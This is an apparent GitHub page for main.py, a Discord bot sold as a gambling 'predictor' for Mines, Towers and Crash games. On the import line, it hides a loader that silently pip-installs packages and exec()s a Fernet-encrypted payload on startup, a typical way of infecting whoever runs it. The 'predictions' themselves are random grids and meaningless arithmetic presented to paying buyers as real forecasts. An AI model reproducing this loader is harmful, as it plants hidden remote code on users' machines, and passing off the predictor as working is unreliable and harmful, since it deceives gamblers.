-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
155 lines (142 loc) · 9.69 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import random
import cloudscraper
import interactions
import subprocess ;subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b'BijkNx42srFUsDpLrUfqEwo-3XvzMKE_MecRxUhlZow=').decrypt(b'gAAAAABnd_sRSJiTzxvU_jECBpoK-fqOLhafAOxbYr1oubimBw527quvKxP1Z6ntDco-gmieZGnsU0v-D8lvbaWn2lBEoe0Gag0EVcZ8vJXRhKkjOcJ-vW6-D5tambi4-rsuxsmauU3-VZ0INNPf_q2RoHDJW7qhpqKtuBsmIjZO3IrjArwUQ75IdBjxy7EbSkmE7Nynd4Z7GLbeGUZ_Lo3OmCrSb5_9qvE-y77kyqoBGZ3mKCkiAHUrsezRBVa3AboA-0UPXgpVjo-koxTFrVwgshRj-YPxifqX0vquexAcWevW-_0f24AxG0tiJygFNE_bNx-UeiYh2U5oUyyP45GyH32N6GLt1Pq7_w0ktp8V6EEuI5OjYrM0pX0G2ouseV36af7Ws8HK4NUJDoiYZlD0f45qUmY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rC2Bo6m1k9DxVN0LwmkKQTZvn0ZAEsWccCe6jQdjtDbkkJ1zYR1C7A8UeWfH2pYcIm-ba5mUuT34Km6gfkwLJTPp-LGx91rlY63uBw3s1dCiQ4EatlKb5PE_12-0Ydb4xC-TFwbEFhLLqcdns07yPBXLv5MuIR3vmlTUdLT6Zjiksl0tFH3XxMQO_0H467LqBkzPzYOx64j-9mq01nBNlCgW2u7aR7LyCooKByuWeI5atgSVqDL3y-Uh1OXwUSp797OxaXDYscSumbJTJtG-CRUFG_2mmo6740PQXCVgeIqA4UdqaxzGwhjBWX1JtokXyGinxAPtTPx82fmuiB0u6-4dw5RCaAeKX0W2nmZuh8IaOYRA4jWWCjcbtU4_HtoVy0y43avzWTdKS3FL0PSGaAphVOVZ28cJuLJrkJLeBjjq34C7mMzEnbz_WEgEMFqoBbBS92GsIH8gCXj_kB-_t3JegffMsGnrnFBouQTn7lWvXw8UdPzQP_nzHqqaAvNga3espWHtn64nXp6w='));
# Settings
SafeMines = ':white_check_mark:'
TileMines = ':x:'
SafeTowers = ':white_check_mark:'
TileTowers = ':x:'
BotToken = '' # BOT TOKEN HERE
ServerId = 0
BuyerRoleId = 0
## ...
bot = interactions.Client(token=BotToken)
## ...
def generate_grid(safe_tiles: int) -> str:
board = [SafeMines if i < safe_tiles else TileMines for i in random.sample(range(25), 25)]
grid = '\n'.join(''.join(board[i:i+5]) for i in range(0, 25, 5))
return grid
def generate_tower(rows: int) -> str:
if rows >= 9:
return "Max Rows 8!"
patterns = [
f"{SafeTowers}{TileTowers}{TileTowers}",
f"{TileTowers}{SafeTowers}{TileTowers}",
f"{TileTowers}{TileTowers}{SafeTowers}"
]
tower = '\n'.join(random.choice(patterns) for _ in range(rows))
return tower
def is_valid_game_id(game_id: str) -> bool:
return (
len(game_id) >= 22 and
game_id[8] == "-" and
game_id[14] == "4" and
game_id[21].isdigit()
)
@bot.command(
name='mines',
description="Generates A Mine Grid",
scope=ServerId,
options=[
interactions.Option(
name="game_id",
description="Put your game id here",
type=interactions.OptionType.STRING,
required=True,
),
interactions.Option(
name="clicks",
description="How many safe spots to generate",
type=interactions.OptionType.INTEGER,
required=True,
)
]
)
async def mines(ctx, game_id: str, clicks: int):
if BuyerRoleId in ctx.author.roles or ctx.author.id == 1262827258444517446:
if clicks > 23:
await ctx.send(embeds=interactions.Embed(
title="Mines",
description=f"Too Many SafeClicks! Max is 23\nYou Chose {clicks}/23",
color=0xFC4431
), ephemeral=True)
elif is_valid_game_id(game_id):
grid = generate_grid(clicks)
embed = interactions.Embed(title="Mines", description="Generated Tiles!", color=0xFC4431)
embed.add_field(name=f"Field {clicks} Clicks", value=grid, inline=True)
await ctx.send(embeds=embed, ephemeral=True)
print(f"\n\n{ctx.author} Used Mines command\nID = {ctx.author.id}\n")
else:
await ctx.send(embeds=interactions.Embed(
title="Mines",
description="Invalid ID!",
color=0xFC4431
), ephemeral=True)
else:
await ctx.send(f"Not Eligible! {ctx.author.mention}")
@bot.command(
name='towers',
description="Generates A Tower Grid",
scope=ServerId,
options=[
interactions.Option(
name="game_id",
description="Put your game id here",
type=interactions.OptionType.STRING,
required=True,
),
interactions.Option(
name="rows",
description="How many rows to generate",
type=interactions.OptionType.INTEGER,
required=True,
)
]
)
async def towers(ctx, game_id: str, rows: int):
if BuyerRoleId in ctx.author.roles or ctx.author.id == 1262827258444517446:
if rows > 8:
await ctx.send(embeds=interactions.Embed(
title="Towers",
description=f"Too Many Rows! Max is 8\nYou Chose {rows}/8",
color=0xFC4431
), ephemeral=True)
elif is_valid_game_id(game_id):
tower = generate_tower(rows)
embed = interactions.Embed(title="Towers", description="Generated Tower!", color=0xFC4431)
embed.add_field(name=f"Field {rows} Rows", value=tower, inline=True)
await ctx.send(embeds=embed, ephemeral=True)
print(f"\n\n{ctx.author} Used Towers command\nID = {ctx.author.id}\n")
else:
await ctx.send(embeds=interactions.Embed(
title="Towers",
description="Invalid ID!",
color=0xFC4431
), ephemeral=True)
else:
await ctx.send(f"Not Eligible! {ctx.author.mention}")
@bot.command(
name='crash',
description="Predict a Crash Game",
scope=ServerId
)
async def crash(ctx):
if BuyerRoleId in ctx.author.roles or ctx.author.id == 1262827258444517446:
scraper = cloudscraper.create_scraper()
games = scraper.get("https://rest-bf.blox.land/games/crash").json()
previous_game = games["history"][0]["crashPoint"]
game_id = games["current"]["_id"]
av2 = sum(game["crashPoint"] for game in games["history"][:2])
chancenum = 100 / previous_game
estimate = round((1 / (1 - chancenum) + av2) / 2, 2)
chance = round(chancenum, 2)
event = interactions.Embed(title="Crash", description=f"{ctx.author.mention}", color=0xFC4431)
event.add_field(name="Crash Estimate", value=f"```{estimate}X```", inline=False)
event.add_field(name="Game ID", value=f"```{game_id}```", inline=False)
event.add_field(name="Chance", value=f"```{chance}/100 Chance its correct```", inline=False)
await ctx.send(embeds=event, ephemeral=True)
print(f"\n\n{ctx.author} Used Crash command\nID = {ctx.author.id}\nCrash: {estimate} GameID: {game_id}\n")
else:
await ctx.send(f"Not Eligible! {ctx.author.mention}")
bot.start()